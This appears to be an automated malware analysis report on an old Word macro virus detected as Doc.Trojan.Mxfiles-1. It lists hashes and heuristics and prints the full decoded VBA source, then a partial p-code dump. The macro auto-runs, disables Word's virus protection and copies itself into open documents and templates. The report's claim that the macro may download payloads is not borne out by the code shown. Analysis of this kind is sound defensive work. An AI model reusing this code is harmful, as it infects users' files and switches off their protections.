Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 18c7b67321b24ea2…

MALICIOUS

Office (OLE)

30.0 KB Created: 1997-04-26 16:26:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9f42cef0d64c29ead2bfb7f00c597ec6 SHA-1: 9793ed313888fc457fb6a7d10d0c47ad0b76cae4 SHA-256: 18c7b67321b24ea2a80d4d052eec43309030a76e97d4de1f20be268bf89ff7f5
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic markers and a critical ClamAV detection indicating it is malicious. The AutoOpen VBA macro is designed to execute the 'Mxfiles' subroutine, which attempts to copy itself to other documents and templates. The script also contains logic that appears to check a registry value and potentially download or execute further payloads, though the exact mechanism is truncated.

Heuristics 5

  • ClamAV: Doc.Trojan.Mxfiles-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Mxfiles-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7888 bytes
SHA-256: 44f7732fb55b263e4bfbadc98754bc1a0b80c45c69c39fbae8607f21146cb80f
Detection
ClamAV: Doc.Trojan.Mxfiles-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Mxfile"
Sub Autoexit()
Mxfiles
End Sub
Sub Autoexec()
Mxfiles
End Sub
Sub Autonew()
Mxfiles
End Sub
Sub AutoOpen()
Mxfiles
End Sub
Sub Openshell()
Mxfiles
End Sub

Sub Mxfiles()
On Error Resume Next
Application.ScreenUpdating = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
ddorg = ThisDocument.FullName
For a = 1 To Documents.Count
If Documents.Item(a).Path <> "" Then
dest = Documents.Item(a).FullName
SetAttr dest, vbNormal
Else
dest = Documents.Item(a).Name
End If
If ddorg <> dest Then
Application.OrganizerCopy Source:=ddorg, Destination:=dest, Name:="Mxfile", Object:=wdOrganizerObjectProjectItems
If Documents.Item(a).Path <> "" Then
Documents.Item(a).Save
End If
End If
dd = Documents.Item(a).AttachedTemplate
dd1 = Options.DefaultFilePath(Path:=wdUserTemplatesPath)
dd2 = dd1 + "\" + dd
SetAttr dd2, vbNormal
If ddorg <> dd2 Then
Application.OrganizerCopy Source:=ddorg, Destination:=dd2, Name:="Mxfile", Object:=wdOrganizerObjectProjectItems
End If
Next a
ff$ = GetSetting(appname:="network", Section:="unix", Key:="mxfile")
If Val(ff$) = 255 Then
Application.ScreenUpdating = True
Exit Sub
End If
dayn = Format(Date, "dd")
Monthn = Format(Date, "mm")
reg = dayn Mod Monthn
If reg = 0 And dayn > 10 Then
If ActiveWindow.ActivePane.View.Type <> wdPageView Then
View = ActiveWindow.ActivePane.View.Type
ActiveWindow.ActivePane.View.Type = wdPageView
End If
 ActiveWindow.ActivePane.View.SeekView = wdSeekCurrentPageHeader
  Selection.EndKey Unit:=wdLine, Extend:=wdExtend
  Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
  Selection.TypeText Text:=right(txt, 16)
  ActiveWindow.ActivePane.View.SeekView = wdSeekCurrentPageFooter
  Selection.EndKey Unit:=wdLine, Extend:=wdExtend
  Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
  Selection.TypeText Text:=right(txt, 16)
  ActiveWindow.ActivePane.View.SeekView = wdSeekMainDocument
ActiveWindow.ActivePane.View.Type = View
End If
Application.ScreenUpdating = True
End Sub


' Processing file: /opt/analyzer/scan_staging/7f7c18f2eb7648f5a8d6a22e18c62000.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/Mxfile - 4081 bytes
' Line #0:
' 	FuncDefn (Sub Autoexit())
' Line #1:
' 	ArgsCall Mxfiles 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' 	FuncDefn (Sub Autoexec())
' Line #4:
' 	ArgsCall Mxfiles 0x0000 
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Sub Autonew())
' Line #7:
' 	ArgsCall Mxfiles 0x0000 
' Line #8:
' 	EndSub 
' Line #9:
' 	FuncDefn (Sub AutoOpen())
' Line #10:
' 	ArgsCall Mxfiles 0x0000 
' Line #11:
' 	EndSub 
' Line #12:
' 	FuncDefn (Sub Openshell())
' Line #13:
' 	ArgsCall Mxfiles 0x0000 
' Line #14:
' 	EndSub 
' Line #15:
' Line #16:
' 	FuncDefn (Sub Mxfiles())
' Line #17:
' 	OnError (Resume Next) 
' Line #18:
' 	LitVarSpecial (False)
' 	Ld Application 
' 	MemSt ScreenUpdating 
' Line #19:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #20:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #21:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #22:
' 	Ld ThisDocument 
' 	MemLd FullName 
' 	St ddorg 
' Line #23:
' 	StartForVariable 
' 	Ld a 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld Documents 
' 	MemLd Count 
' 	For 
' Line #24:
' 	Ld a 
' 	Ld Documents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd Path 
' 	LitStr 0x0000 ""
' 	Ne 
' 	IfBlock 
' Line #25:
' 	Ld a 
' 	Ld Documents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd FullName 
' 	St dest 
' Line #26:
' 	Ld dest 
' 	Ld vbNormal 
' 	ArgsCall SetAttr 0x0002 
' Line #27:
' 	ElseBlock 
' Line #28:
' 	Ld a 
' 	Ld Documents 
' 	ArgsMemLd Item 0x0001 
' 	MemL
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.